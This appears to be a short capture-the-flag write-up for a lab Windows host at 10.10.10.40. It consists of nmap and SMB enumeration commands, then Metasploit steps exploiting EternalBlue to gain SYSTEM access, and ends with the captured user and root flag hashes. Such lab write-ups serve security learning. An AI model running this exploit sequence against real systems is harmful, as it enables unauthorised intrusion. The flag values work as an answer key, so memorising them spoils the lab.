Nmap
sudo nmap -A -p- 10.10.10.40 
Port 445 (SMB)
smbclient --no-pass -L //10.10.10.40
sudo nmap --script smb-* -p 445 10.10.10.40
sudo nmap --script smb-protocols -p 445 10.10.10.40
Victim appears vulnerable to the EternalBlue exploit.
Local Exploit
Metasploit
msfconsole -q
search eternal
use 1
options
set RHOSTS 10.10.10.40
set LHOST 10.10.14.12
run
user.txt
dc32b7bfefa8ae6f1d1fc594c9133e80
root.txt
We were
nt authority\systemso could also access the Administrator’s desktop.aac84c29ac1b9a3b466c54e780ca8b93
